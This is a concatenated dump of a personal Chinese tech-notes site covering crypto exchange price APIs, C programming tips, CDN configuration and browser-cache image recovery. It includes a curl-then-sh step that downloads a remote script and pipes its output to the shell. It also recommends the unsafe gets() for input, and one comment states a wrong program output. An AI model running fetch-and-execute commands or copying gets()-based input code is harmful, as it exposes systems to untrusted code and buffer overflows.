position: -webkit-sticky;
background-color: white;
width: 3rem;
min-width: 3rem;
max-width: 3rem;
left: 0px;
}
th.headcol {
background-color: #757575!important;
}
.md-typeset table:not([class]) tr:hover .headcol{
background-color: #f6f6f6;
}
.md-typeset table:not([class]) th{
min-width: 4rem;
}
#realtimeprofit > table {
overflow: visible;
}
#realtimeprofit > table > thead > tr > th {
position: sticky;
top: 2.4rem;
z-index: 3;
}
</style>
----------
## 获取交易所价格信息
在统计资产时对价格实时性没有要求,可以缓存60秒;用法:`print(HUOBI_Price.btc)`,返回的是字符串类型
```
class class_CEXPRICE():
def __init__(self):
self.updatetime = -1
def __getattr__(self, token):
if time.time()-self.updatetime>=60:
print("fetch", self, end="", flush=True)
self.data = self.fetchprice()
print()
self.updatetime = time.time()
return self.handleprice(token)
class class_HUOBI_Price(class_CEXPRICE):
def fetchprice(self):
return sess.get("https://api.huobi.pro/market/tickers", timeout=5).json()["data"]
def handleprice(self, token):
return [i for i in self.data if i["symbol"]==token.lower()+"usdt"][0]["close"]
HUOBI_Price=class_HUOBI_Price()
class class_BINANCE_Price(class_CEXPRICE):
def fetchprice(self):
return sess.get("https://api.binance.com/api/v3/ticker/price", timeout=5).json()
def handleprice(self, token):
if "busd" not in token.lower():
token = token.lower()+"usdt"
return [i for i in self.data if i["symbol"]==token.upper()][0]["price"]
BINANCE_Price=class_BINANCE_Price()
class class_MXC_Price(class_CEXPRICE):
def fetchprice(self):
return sess.get("https://www.mxc.com/open/api/v2/market/ticker", timeout=5).json()["data"]
def handleprice(self, token):
return [i for i in self.data if i["symbol"]==token.upper()+"_USDT"][0]["last"]
MXC_Price = class_MXC_Price()
```
-----
## terra地址转为以太坊地址
依赖库:`pip3 install bech32`
```
import bech32
words = bech32.bech32_decode(terra_addr)[1]
ethaddr = "".join([hex(i)[2:].rjust(2,"0") for i in bech32.convertbits(words,5,8,False)])
```
**反过来就是**
```
words = [int(ethaddr[i:i+2], 16) for i in range(0,40,2)]
terra_addr = bech32.bech32_encode("terra", bech32.convertbits(words, 8, 5, False))
```
================================================
FILE: C.md
================================================
# C语言
一点关于C的建议咯,也包含C++
顺带附上几个题目和我写的解答
----
## 关于Dev C++
* 有时候会发生改了代码但运行起来是旧版本的情况,需要检查是否关闭了正在运行的exe,如果是工程需要按F12全部重新编译清空缓存
* 编译工程错误定位在Makefile说明有函数声明了但没有定义,或者可能是出现了多个文件同名函数,小心其创建工程的时候自动产生的main.c
* 如果单纯只需要编译一个C文件,为追求编译速度可以考虑使用tcc (Tiny C Compile)编译器,参见[https://qs1401.com/?post=18](https://qs1401.com/?post=18);另外你可以修改编译的优化参数,不要用`-O3`这种更适合正式发布时的优化选项
* 不要在一个项目中混用.c和.cpp,将导致`ld`链接的时候函数找不到。因为编译.cpp的时候是C++的编译,由于要支持重载,编译器会自动修改函数名称,导致代码中同样名字的函数编译出来的.o文件里面函数名称是不同的,这样.c找不到.cpp的函数,自然无法链接;不过还是有技巧的:extern "C"包住即可
* 注意指针的星号别少写:想一次写两个指针?不能写`FILE* fp1,fp2;`而是每个变量前面都要带上星号!正确写法:`FILE *fp1,*fp2; char *s1,*s2;`
----
## 输入的问题
在开发真实用户会使用的命令行程序时,我建议所有的输入全部使用gets完成,然后再用sscanf读取到变量,可以有效防止scanf在一行出错波及到下一行
当然更安全的是 `fgets(buf,9999,stdin);` 指定最多读取多少个字节避免栈溢出,但这种方法会得到\n字符
另外,无论是scanf还是sscanf,赋值给int/double等类型的变量一定要写&符号!
以下代码演示这种输入方法,对输入的n个数调用qsort排序;输入格式:第一行 N表示数的个数,第二行 N个需要排序的数(N<1000)
```cpp
#include <stdio.h>
#include <stdlib.h>
char buf[9999];
int data[1005]; //不要在局部变量定义大数组,会炸栈
int cmp(const void* a,const void* b){
return *(int*)a-*(int*)b;
}
int main(){
int N,i;
gets(buf);
sscanf(buf,"%d",&N);
gets(buf);
for(i=0;i<N;i++) {
sscanf(buf,"%d %[^\n]",&data[i],buf);
}
qsort(data,N,sizeof(int),cmp);
for(i=0;i<N-1;i++) printf("%d ",data[i]);
printf("%d",data[i]);
}
```
----
## C++用sstream代替sprintf
```cpp
#include <string>
#include <sstream>
#include <iostream>
using namespace std;
int main(){
stringstream s;
string result;
int i = 1000;
s <<"haha "<< i;
getline(s,result); // the whole line rather than just the first word
cout << result << endl; // print "haha1000"
s.clear();
}
```
----
## 解决g++省略拷贝构造函数的问题
g++为了防止在函数返回值是对象的时候,拷贝构造被调用多次,即使拷贝构造函数有副作用,也会被优化掉(直接就不调用拷贝构造函数了)
为了解决这个问题,从而证明教材上的正确性/语言的特性,需要在编译(不是链接)的时候加入以下开关:
```
-fno-elide-constructors
```
----
## [数据结构]树的遍历
允许不确定个元素的子节点个数,要求给出所有从根节点开始到叶节点的路径
我是这么写的遍历循环(伪代码),其中p1和p2是指向节点的指针:
```
路径=[根节点]
while(循环条件):
while (p2=p1的下一个没有遍历过的子节点)不为空:
把p2加入路径
p1=p2
if p1为叶节点:
得到了一条从根节点到一个叶节点的路径
路径pop,换言之,删掉最后加入的节点
p1=p1的父节点(就是回溯)
```
其中关键的**p1的下一个没有遍历过的子节点**的实现是这样子的:
```
if 当前孩子的下标>=孩子总数:
return NULL
else return 子节点数组[当前下标++]
```
卖个关子。。。请思考一下循环条件应该写啥?
### 遍历的循环条件
一开始我写的是:“根节点还有未遍历过的子节点”,但是这么写在这里就出了问题,由于标记已经遍历的子节点发生在真正遍历完子节点之前(我用的return 数组[下标++]),在循环根节点的最后一个子节点的时候会提前结束循环,导致没能遍历所有节点!
正确的写法是:**路径的元素个数>=1**
路径可以用vector实现,元素个数就是vector的size(),只有遍历完成了整个树之后,根节点才会被pop出来,结束循环。
### 使用面向对象的思想
这个题目我使用了C++来写,果然比C好多了。。。只要想好接口就能很方便地实现需要的功能啦(不过还是Python内置的list好多了,C++的vector各种const的坑
这里分享一下我设计的接口:
```
class Node{
public:
Node();
void setChildNum(int num); //为子节点的指针的数组分配空间
void addOneChild(Node* child);
void setData(int data);
int getData();
void setParent(Node* parent);
Node* getParent();
Node* getCurrentChild(); //获得当前还没走过的子节点,并且把返回的子节点标记为走过了
bool hasChildToGo(); //这个节点是不是所有的子节点都完成了
bool isLeafNode(); //这个节点是不是叶节点
private:
//...省略咯...
};
class Nodes{ //存储路径的Nodes
public:
void append(Node* x); //把节点加入路径
void pop(); //删掉最后加入的那个节点
int getSumData(); //路径上所有节点的data的和
int length(); //路径当前的长度
friend bool cmp(const Nodes& a,const Nodes&b); //用于对路径进行排序
friend ostream& operator<<(ostream& out,Nodes& x);
private:
vector<Node*> data;
};
```
## 对一个const的vector使用迭代器要用const_iterator
有时候函数参数就规定了必须是const的,如sort的比较函数,而比较的对象又是vector
方法就是用`vector<你的类型>::const_iterator`
----
### 小心未初始化的变量
写代码的时候最好声明的时候就立刻初始化,未初始化的变量是未定义行为,可能出现加了个printf就好了,去掉printf就炸了的情况。
你可以在Linux上使用`gcc -fsanitize=undefined`编译,让Undefined Sanitizer为你找出错误;顺带一提,ASAN也很有用,[参见](https://www.freebuf.com/news/83811.html)
----
## 获取文件大小
Python里很简单 你可以os.path.getsize(filename) 这个本质上调用的是os.stat;下面的方法是打开文件,用fseek跳转到文件结束
Learned from: http://blog.csdn.net/chenglibin1988/article/details/8750480
```
long int get_file_size(char* filename){
/*
* 使用fseek和ftell获取文件大小,失败时返回-1
*/
int filesize;
FILE* fp = fopen(filename,"rb");
if( NULL == fp ) return -1;
fseek(fp,0,SEEK_END);
filesize = ftell(fp);
fclose(fp);
return filesize;
}
```
----
## C程习题解答
学习一下各种坑爹的题目也是很不错的嘛(其实我就是为了把我的解析发上来。。。
### 1.结构指针
#### 题目
```
对于以下结构定义,p->str++中的++加在____。
struct {int len; char *str}*p;
A.指针str上 B.指针p上 C.str指向的内容上 D.语法错误
```
#### 答案
D
#### 一句话解释
你再仔细看看?是不是少了个分号?
#### 详细解释
这个题目这么写编译存在语法问题的,而且运行也会炸
你试试复制到Dev C++编译看看?
```
[Error] expected ';' at end of member declaration
```
这个错误很显然的嘛,缺少了分号,正确写法:
```
struct {int len; char *str;} *p;
```
#### 这就够了吗?
p是一个指针,对指针使用->运算符之前必须要给指针一个空间(正确的值),否则就会导致*null而段错误炸掉
另外 这个struct没有名字,也就意味着无法给他赋值,不能被赋值的指针有什么用呢?
正确的写法如下:
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char string[666]="abcd"; //准备一个字符串
struct name {int len; char *str;} s;//首先要给struct取一个名字name,顺带用这个名字创建一个实例s
s.str = string; //对这个实例的str赋值为string的地址
struct name *p = &s; //然后是用struct name来创建一个指向结构的指针p
p->str++;//相当于s的str++了,str原来指向"abcd"字符串的'a',现在指向'b'
puts(p->str);//输出bcd
}
```
#### 回顾一下
1. struct必须要有一个名字
2. struct大括号中的每一项都必须**以分号结尾**
3. 使用指针取值 如`*p` , `p->something`之前指针的值必须设置好
4. 遇到不会的题目,为啥不自己问问编译器呢?
----
### 2.结构数组
#### 题目
```
对于以下的变量定义,表达式____是正确的。
struct node {
char s[10];
int k;
} p[4];
A. p->k=2
B. p[0].s="abc";
C. p[0]->k=2;
D. p->s='a';
```
#### 答案
A
#### 解析
`p[0].num` 与 `(*(p+0)).num` 等价, 所以 `p[0].num` 与 `(p+0)->num` 等价
编译一下确实A是可以的
B选项错在结构体里面的s是一个有内存空间的char数组,**不能把有内存空间的数组名称放到赋值的等号左边** (编译器把数组名称当成常量,编译器这么设计的原因也许是:不然这个内存空间不就弄丢了嘛)
字符串正确的"赋值"操作是:
```
strcpy(p[0].s,"abc");
```
C选项 p[0]是结构,而不是指针,直接写`p[0].k=2`
D选项 还是相同的道理 **不能把有内存空间的数组名称放到赋值的等号左边**
正确的写法 `p->s[0]='a'`, 也可以写 `p[0].s[0]='a'`
#### 指针,数组各种玩法
如果要写`p[1].s[2]='a'`, 等价的写法有:
```
(p+1)->s[2]='a';
*((p+1)->s + 2)='a';
*((char*)p+1*sizeof(struct node)+2)='a';
```
此代码供你测试:
```
#include <stdio.h>
int main(){
struct node{
char s[10];
int k;
} p[4];
p[1].s[2]='a';
printf("%c\n",p[1].s[2]);
(p+1)->s[2]='b';
printf("%c\n",p[1].s[2]);
*((p+1)->s + 2)='c';
printf("%c\n",p[1].s[2]);
*((char*)p+1*sizeof(struct node)+2)='d';
printf("%c",p[1].s[2]);
return 0;
}
```
### 数组的数组
题目:
```
以下程序的输出结果是_________________。
#include <stdio.h>
#include <string.h>
typedef char (*AP)[5];
AP defy(char *p)
{
int i;
for(i=0; i<3; i++)
p[strlen(p)] = 'A';
return (AP)p + 1;
}
void main()
{
char a[]="FROG\0SEAL\0LION\0LAMB";
puts( defy(a)[1]+2 );
}
```
解答:
搞清楚指针的类型这个题目就很简单了,另外记住这个公式:
```
x[i] = *(x+i)
```
p[strlen(p)] = 'A'; 就是把\0的地方改成了字符A
所以我们的a是这样子的:
从一维数组来看a是 FROGASEALALIONALAMB
从5字节char的数组的数组来看是
```
"FROGA", //虽然这里写的是字符串,但末尾没有\0
"SEALA",
"LIONA",
"LAMB\0"
```
defy(a)[1]就等价于`*(defy(a) +1)`,就是`*( ((AP)a)+1 +1)`,就是((AP)a)[2]
AP这个类型是指针,指向的元素是 5字节大小的数组,
所以((AP)a)[2]的类型是`char*`,指向的是"LIONA"这个元素
但是当我们把这个元素当成`char*`用puts输出的时候,由于末尾没有`\0`,所以要继续输出,就是"LIONALAMB"
再+2就是要跳过两个字节,得到答案"ONALAMB"
举一反三:
1. puts(((AP)a)[0])输出啥?假设没有调用defy(a)
2. puts(((AP)a)[0])输出啥?假设已经做了defy(a)
3. puts(((AP)a)[0]+3)输出啥?假设已经做了defy(a)
4. defy(a)[2][1]+1是什么类型?值是多少?
5. puts(&defy(a)[2][1])输出啥?
6. defy(a)之后再puts(&defy(a)[2][1])输出啥?
答案:
1. FROG
2. FROGASEALALIONALAMB
3. GASEALALIONALAMB
4. char类型 'B' 这个是char的'A'再加一
5. AMB
6. 发生了数组越界读写,这是undefined behaviour
================================================
FILE: CDN.md
================================================
# CDN
## UPYUN
### 上传文件的方法
#### FTP
人家支持用ftp传输文件,而且用ftp似乎不对流量计费
ftp://v0.ftp.upyun.com
用户名是"操作员名/服务名"(其中/字符是用户名的一部分),密码为"操作员密码"
有些时候你需要对其中的/进行urlencode,需要用`%2F` (你可以使用Python的`quote("/", "")`来查询)
#### curlftpfs
基于上述的ftp,在这种情境下可靠性不高,不建议使用
http://curlftpfs.sourceforge.net/
注意命令中的 ftp://用户名:密码@v0.ftp.upyun.com 其中的用户名的/符号需要改为%2f
#### UpyunManager
https://github.com/layerssss/manager-for-upyun
### UPYUN Python执行缓存刷新
比如本blog设置了缓存所有html一年来减少回源github的次数,在每次我更新后就刷新一次缓存
规则刷新:
[https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun](https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun)
URL刷新也是同理:
官方文档:http://docs.upyun.com/api/purge/
[我的代码upyun_purge.py](code/upyun_purge.py)
注意操作员要被授权;调用API正常的返回值就是`{'invalid_domain_of_url': {}}`,不要看到invalid就以为出错了hhh
### 使用upyun提供的webp功能节省流量
现在已经有配置,启用后自动根据用户的浏览器Accept自动返回webp,无需任何操作
之前的方案:无需代码,只需要在原图后面加上`!/format/webp`即可,假设已经在使用自定义图片格式,例如`!compress`则变为`!compress/format/webp`可以进一步节省流量
官方说明: https://www.upyun.com/webp.html
### 使用边缘规则修复改版导致的404问题
本站原版使用的Jekyll将xxx.md编译为xxx.html,现在改用MkDocs后xxx.md编译得到的是xxx/index.html,原先的链接就404了
又拍云能配置边缘规则 进行URL改写,用户在访问xxx.html的时候实际回源xxx/
而且配置挺简单,只要会写正则即可
配置规则如下:
```
条件判断: 如果请求URI 正则匹配 ^/[^/]*html$
功能选择: URL改写
URI 字符串提取: ^/([^/]*).html$
改写规则:/$1/
break: 打勾
```
### UPYUN 使用边缘规则实现upyun TOKEN反盗链功能
想只对特定url使用token反盗链,于是就使用边缘规则来实现一下完全兼容反盗链的算法咯
发现一个坑:又拍云的边缘规则的`$SUB`函数 其from和to是从1开始计数的,包括from,也包括to
URI 字符串提取不填,break不选,规则编辑器填以下内容
```
$WHEN($MATCH($_URI, '这里填URI匹配正则'),$OR($GT($_TIME, $SUB($_GET__upt, 9,99)),$NOT($_GET__upt), $NOT($EQ($SUB($MD5('这里填TOKEN''&'$SUB($_GET__upt, 9,99)'&'$_URI),13,20),$SUB($_GET__upt, 1,8)))))$EXIT(403)
```
### UPYUN https证书更新
使用F12开发人员工具看的接口,用Python实现了一下,从手动一个个添加证书中解放出来
https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/
----
### UPYUN 表单上传怎么用
在功能配置-存储管理页面可以看到文件密钥,[官方帮助文档](https://help.upyun.com/knowledge-base/form_api/#old-authorization)过于分散,这里整理一下必须的步骤
需求:简单的允许上传一个固定文件名的文件,不要过期
首先写一个上传策略policy,然后对它base64,和密钥用&拼接后计算md5
这个脚本将输出变量定义和curl命令,便于复制使用
```bash
key='AAA...AAA'
bucket='demobucket'
filename='img.jpg'
filepath="/${filename}"
policy='{"bucket":"'${bucket}'","expiration":9999999999,"save-key":"'${filepath}'"}'
b64_policy=`echo -n $policy|base64 -w0`
echo UPYUN_POLICY=${b64_policy}
echo UPYUN_SIGN=$(echo -n "${b64_policy}&${key}"|md5sum|awk '{print $1}')
echo "curl https://v0.api.upyun.com/${bucket} -F file=@${filename} -F policy=\${UPYUN_POLICY} -F signature=\${UPYUN_SIGN}"
```
我也提供了一个脚本便于你快速调用:
```
curl -O d.py3.io/up.sh
sh up.sh key bucket filename
# 触发上传只要继续丢给sh就行
sh up.sh key bucket filename|sh
```
-------
### UPYUN省钱方案:缓存61秒 变为静态请求
虽然人家 [计费说明](https://www.upyun.com/price_instruction) 写的是
> 动态请求是指回用户源站并且缓存时间小于 60 秒或者指定不缓存的请求。
但从实际的访问日志来看,缓存60秒是不够的,必须缓存61秒才当成静态请求
需要进行的代码变动: 子域名+直接解析到源站+跨域请求+一个获取cookie的路由
注意到我们把网页本身都缓存了,所以 **网页源代码本身不能有用户相关的内容**
用户登录状态可以存在cookie里 指定domain的方式让子域名也能获取
缓存61秒,一般用户还是能触发MISS,产生一次回源设置好cookie
但如果用户访问的全部是缓存页面,前端代码需要先判断cookie是否存在,不存在就需要发起getsession请求来获取cookie再进行跨域请求
这种跨域需要带上Cookie所以是withCredential的
前端js:
```
function queryme(){
$.ajax({
url:"https://subdomain.www.example.com/uri",
success:function(data){
//...
},
xhrFields:{withCredentials:true}
})
}
(function(){
if(document.cookie.indexOf("user=")>=0){
queryme();
}else{
$.get("/getsession",null,queryme);
}
})();
```
后端Nginx:
```
add_header 'Access-Control-Allow-Origin' 'https://www.example.com';
add_header 'Access-Control-Allow-Credentials' 'true';
```
## Qiniu
### 使用qshell上传文件夹
qshell qupload [<ThreadCount>] <LocalUploadConfig>
需要写一个config文件,具体参见官方文档
[https://developer.qiniu.com/kodo/tools/1302/qshell](https://developer.qiniu.com/kodo/tools/1302/qshell)
[https://github.com/qiniu/qshell/wiki/qupload](https://github.com/qiniu/qshell/wiki/qupload)
## 本地DNS不靠谱?用HTTP DNS访问正确的CDN节点
情形:用户的DNS不靠谱,不遵循CDN DNS的TTL设置,导致用户得到的节点IP已经过期失效,导致网站上的图片无法加载
解决方案:使用[阿里云的HTTP DNS](https://help.aliyun.com/document_detail/30102.html) (支持HTTPS请求),网页端访问图片时如果出错替换为**指定IP的CDN节点**
### HTTP DNS接入
按照文档操作即可: https://help.aliyun.com/document_detail/30113.html
注意到目前`https://203.107.1.33`会证书错误,改用`https://203.107.1.1`即可
这个接口支持跨域请求:
```
$.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){
var ip = data.ips[0];
console.log(ip);
});
```
### 泛域名解析
参考 [sslip.io](https://sslip.io)
假设我们有已经备案的域名`example.com`,使用`xip.example.com`作为泛域名解析的域名,也就是说`140-205-34-3.xip.example.com`就会解析到`140.205.34.3`
只需要设置4条NS记录即可:
```
ns-aws.nono.io
ns-gce.nono.io
ns-azure.nono.io
ns-vultr.nono.io
```
### 申请泛域名的https证书
参见: https://py3.io/Nginx/#acmesh
### 配置CDN
将泛域名绑定到CDN服务上,并提供申请到的HTTPS证书,开启HTTPS访问
### 前端JS
下述代码出错时将把图片src的`www.aliyun.com`替换为`1-2-3-4.xip.example.com`,特点:
- 只要一张CDN的图片已经出错就会开始替换所有坏图
- 不会替换已经成功加载的图片
- 使用localStorage缓存HTTP DNS的查询结果 缓存一周
- 存储了DNS的TTL结果,如果TTL已经过期就再次查询(所以上面缓存一周其实没用,TTL一般就10分钟)
参考:
- https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript
- https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images
依赖lscache: https://github.com/pamelafox/lscache
```
var cdnupdating = false;
function updatecdn(cb){
if(cdnupdating) return;
cdnupdating = true;
$.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){
var ip = data.ips[0];
var domain = ip.replace(/\./g, "-")+".xip.example.com";
var ddl=new Date()/1000 + data.ttl;
var cdn = {domain:domain, ddl:ddl};
lscache.set('cdn', cdn, 604800);
if(cb) cb(cdn);
});
}
function fixbrokenimages(cdn){
if(!cdn) cdn=lscache.get("cdn");
if(!cdn || cdn.ddl < +new Date()/1000) return updatecdn(fixbrokenimages);
$('img[src*="www.aliyun.com"]').each(function() {
if (!this.complete || typeof this.naturalWidth == "undefined" || this.naturalWidth == 0) {
this.src = this.src.replace("www.aliyun.com", cdn.domain);
}
});
}
var fixbrokenimages_timer = null;
function image_onerror(){
//console.log("image_onerror",this.src);
if(/.*www.aliyun.com.*/.test(this.src)){
fixbrokenimages();
}
if(!fixbrokenimages_timer){
fixbrokenimages_timer = setInterval(fixbrokenimages , 1000);
}
}
$('img[src*="www.aliyun.com"]').on('error', image_onerror);
```
================================================
FILE: CNAME
================================================
py3.io
note.py3.io
================================================
FILE: Developer.md
================================================
## 保持技术精进
先得有方向,我用这个技术能给我带来什么回报?找到内在动力
1. 读书,学习视频课程
2. 去阅读源码,大的开源项目有新的技术、巧妙的设计、优良的架构,对自己写代码、架构的能力都有非常大的提升
3. 在项目中使用自己想用的技术,解决现实问题
4. 加入开源项目,和牛人一起工作,向牛人看齐
5. 加入高手的社群,与优秀的人在一起
----
## 如何明智地向程序员提问
From: https://z.codes/how-to-ask-computer-question/
### 简短版
我现在遇到一个问题X
我想到可能的原因是a, b, c
我排除了以下可能性d, e, f
我尝试过以下方案g, h, i
请问还有什么是我遗漏的?
### 首先你需要明白
* 程序员们只偏爱艰巨的任务,或者能激发他们思维的好问题
* 对方没有义务忍耐你的无知和懒惰
* 周全的思考,准备好你的问题,草率的发问只能得到草率的回答,或者根本得不到任何答案
### 提问之前
* 用中**英文**进行**Google**, 翻前两页的结果, 往往Stack Overflow网站上的答案就是正确答案. 如果没有找到, **更换可能的关键词多次尝试**
* 在FAQ/文档里找答案, 耐心读英文文档是基本素养
### 发问的形式
<ul>
<li><p>使用言简意赅,描述准确的标题</p>
</li>
<li><p>精确描述, 信息量大, 但是不啰嗦</p>
<ul>
<li><p>尽可能详细而明确的描述症状</p>
</li>
<li><p>提供问题发生的环境(机器配置、操作系统、应用程序以及别的什么)</p>
</li>
<li><p>说明你在提问前是怎样去研究和理解这个问题的</p>
</li>
<li><p>说明你在提问前采取了什么步骤去解决它</p>
</li>
<li><p>在自己的尝试中, 排除了哪些可能的原因</p>
</li>
<li><p>罗列最近做过什么可能有影响的硬件、软件变更</p>
</li>
<li><p>尽量想象一个程序员会怎样反问你,在提问的时候预先给他答案</p>
</li>
</ul>
</li>
<li><p>对每一个关键步骤截图, 如果有错误信息, **截图和文字版**连同产生问题的**代码**都要发给对方</p>
</li>
<li><p>给出自己出问题的代码, 必须是对方复制后就能立即运行, 并且复现问题的最简代码. 删去与问题无关的部分</p>
</li>
<li><p>别问应该自己解决的问题, 避免无意义的疑问</p>
</li>
</ul>
### 问题解决后
* 简短说明自己是如何解决的, 后续尝试的过程
* 如果别人对你有帮助, 感谢一下对方, 比如发个红包什么的
### 附加

### 参考
电脑出现故障,如何正确地提问 [https://vjudge1.github.io/2015/07/01/how-to-ask.html](https://vjudge1.github.io/2015/07/01/how-to-ask.html)
你会问问题吗 [http://coolshell.cn/articles/3713.html](http://coolshell.cn/articles/3713.html)
《提问的艺术:如何快速获得答案》(精读版) [http://bbs.csdn.net/topics/390307835](http://bbs.csdn.net/topics/390307835)
### 本文的图片版
(方便在聊天工具里甩给对方):

----
## 使用chrome缓存找到被删的qq空间的图片
看到有好友秀恩爱,然后就没有权限访问了,但打开过的图片有chrome缓存,于是便尝试从缓存找到图片url
chrome的缓存可以在这里找到:
```
chrome://cache/
```
然后随意点开一张qq空间的图片,发现其包含psb(毕竟右键保存的文件名默认就是psb),然后就是搜索咯
在点进去的缓存页面可以F12执行js,查看缓存图片:
代码来源:http://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html
```
(function() {
var preTags = document.getElementsByTagName('pre');
var preWithHeaderInfo = preTags[0];
var preWithContent = preTags[2];
var lines = preWithContent.textContent.split('\n');
// get data about the formatting (changes between different versions of chrome)
var rgx = /^(0{8}:\s+)([0-9a-f]{2}\s+)[0-9a-f]{2}/m;
var match = rgx.exec(lines[0]);
var text = '';
for (var i = 0; i < lines.length; i++) {
var line = lines[i];
var firstIndex = match[1].length; // first index of the chars to match (e.g. where a '84' would start)
var indexJump = match[2].length; // how much space is between each set of numbers
var totalCharsPerLine = 16;
index = firstIndex;
for (var j = 0; j < totalCharsPerLine; j++) {
var hexValAsStr = line.substr(index, 2);
if (hexValAsStr == ' ') {
// no more chars
break;
}
var asciiVal = parseInt(hexValAsStr, 16);
text += String.fromCharCode(asciiVal);
index += indexJump;
}
}
var headerText = preWithHeaderInfo.textContent;
var elToInsertBefore = document.body.childNodes[0];
var insertedDiv = document.createElement("div");
document.body.insertBefore(insertedDiv, elToInsertBefore);
// find the filename
var nodes = [document.body];
var filepath = '';
while (true) {
var node = nodes.pop();
if (node.hasChildNodes()) {
var children = node.childNodes;
for (var i = children.length - 1; i >= 0; i--) {
nodes.push(children[i]);
}
}
if (node.nodeType === Node.TEXT_NODE && /\S/.test(node.nodeValue)) {
// 1st depth-first text node (with non-whitespace chars) found
filepath = node.nodeValue;
break;
}
}
outputResults(insertedDiv, convertToBase64(text), filepath, headerText);
insertedDiv.appendChild(document.createElement('hr'));
function outputResults(parentElement, fileContents, fileUrl, headerText) {
// last updated 1/27/12
var rgx = /.+\/([^\/]+)/;
var filename = rgx.exec(fileUrl)[1];
// get the content type
rgx = /content-type: (.+)/i;
var match = rgx.exec(headerText);
var contentTypeFound = match != null;
var contentType = "text/plain";
if (contentTypeFound) {
contentType = match[1];
}
var dataUri = "data:" + contentType + ";base64," + fileContents;
// check for gzipped file
var gZipRgx = /content-encoding: gzip/i;
if (gZipRgx.test(headerText)) {
filename += '.gz';
}
// check for image
var imageRgx = /image/i;
var isImage = imageRgx.test(contentType);
// create link
var aTag = document.createElement('a');
aTag.textContent = "Left-click to download the cached file";
aTag.setAttribute('href', dataUri);
aTag.setAttribute('download', filename);
parentElement.appendChild(aTag);
parentElement.appendChild(document.createElement('br'));
// create image
if (isImage) {
var imgTag = document.createElement('img');
imgTag.setAttribute("src", dataUri);
parentElement.appendChild(imgTag);
parentElement.appendChild(document.createElement('br'));
}
// create warning
if (!contentTypeFound) {
var pTag = document.createElement('p');
pTag.textContent = "WARNING: the type of file was not found in the headers... defaulting to text file.";
parentElement.appendChild(pTag);
}
}
function getBase64Char(base64Value) {
if (base64Value < 0) {
throw "Invalid number: " + base64Value;
} else if (base64Value <= 25) {
// A-Z
return String.fromCharCode(base64Value + "A".charCodeAt(0));
} else if (base64Value <= 51) {
// a-z
base64Value -= 26; // a
return String.fromCharCode(base64Value + "a".charCodeAt(0));
} else if (base64Value <= 61) {
// 0-9
base64Value -= 52; // 0
return String.fromCharCode(base64Value + "0".charCodeAt(0));
} else if (base64Value <= 62) {
return '+';
} else if (base64Value <= 63) {
return '/';
} else {
throw "Invalid number: " + base64Value;
}
}
function convertToBase64(input) {
// http://en.wikipedia.org/wiki/Base64#Example
var remainingBits;
var result = "";
var additionalCharsNeeded = 0;
var charIndex = -1;
var charAsciiValue;
var advanceToNextChar = function() {
charIndex++;
charAsciiValue = input.charCodeAt(charIndex);
return charIndex < input.length;
};
while (true) {
var base64Char;
// handle 1st char
if (!advanceToNextChar()) break;
base64Char = charAsciiValue >>> 2;
remainingBits = charAsciiValue & 3; // 0000 0011
result += getBase64Char(base64Char); // 1st char
additionalCharsNeeded = 3;
// handle 2nd char
if (!advanceToNextChar()) break;
base64Char = (remainingBits << 4) | (charAsciiValue >>> 4);
remainingBits = charAsciiValue & 15; // 0000 1111
result += getBase64Char(base64Char); // 2nd char
additionalCharsNeeded = 2;
// handle 3rd char
if (!advanceToNextChar()) break;
base64Char = (remainingBits << 2) | (charAsciiValue >>> 6);
result += getBase64Char(base64Char); // 3rd char
remainingBits = charAsciiValue & 63; // 0011 1111
result += getBase64Char(remainingBits); // 4th char
additionalCharsNeeded = 0;
}
// there may be an additional 2-3 chars that need to be added
if (additionalCharsNeeded == 2) {
remainingBits = remainingBits << 2; // 4 extra bits
result += getBase64Char(remainingBits) + "=";
} else if (additionalCharsNeeded == 3) {
remainingBits = remainingBits << 4; // 2 extra bits
result += getBase64Char(remainingBits) + "==";
} else if (additionalCharsNeeded != 0) {
throw "Unhandled number of additional chars needed: " + additionalCharsNeeded;
}
return result;
}
})()
```
例如找到http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA
但这样只是一张小图,我们当然希望有大图,比对大图的url发现只要将上述url的/a/替换为/b/即可
所以总结一下就是打开缓存页面chrome://cache/,查找psb字符串,找到想要的图片,如果是小图就改一下url得到大图
------
## 为什么我喜欢写博客?
摘自 https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/
写下来的过程发现自己还有不懂的,给自己讲清楚甚至能发现rust标准库的bug,本质上是给很多人讲需要考虑所有方面而不是最小必要;当你觉得显而易见的时候很容易失去解释清楚的能力
读旧的文章很有趣 让自己回到写作的那一时刻 比较当时自己的理解和现在的 体会自己的进步,重新学习已经忘了的
写作能换个脑子 在不同工作之前切换 使用不同的脑区 整天都有精力
写blog能偷懒 以后有人问到就能直接给链接说“你想知道更多的话 我已经在这写过了”
别人写过了还要不要写?要写! 你的理解不同,散落在不同地方的知识综合起来也有价值
你真正的职责是当你有空free了,你应该让其他人也轻松free,如果你有能力power,你的职责就是为其他人赋能empower
自学不意味着当一个编译器的fuzzer随机尝试,而是学文档tutorial,从书籍学算法——自学只是说你完全掌控自己的学习过程,但仍然依赖其他人的工作
你也应该写博客 这里有一些建议https://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/
-----
## 支持被at的(outgoing)钉钉机器人
需要自己注册一个企业,管理员才能创建这种机器人,机器人只能在内部群使用
文档: https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p
其中缺失了关于atDingtalkIds的描述,需要看这个: https://juejin.im/post/6844903922029576205
需要注意的地方有:修改服务器回调通知地址和修改上线的时候,钉钉就会验证服务器是否正常,你可以`while true; nc -lp 8888 < tmp.txt; done` 死循环提供个正常的http服务
POST发来的数据里面有临时的url可以发消息,还有senderId是发送者id用来在atDingtalkIds中使用
收到的POST内容:
```
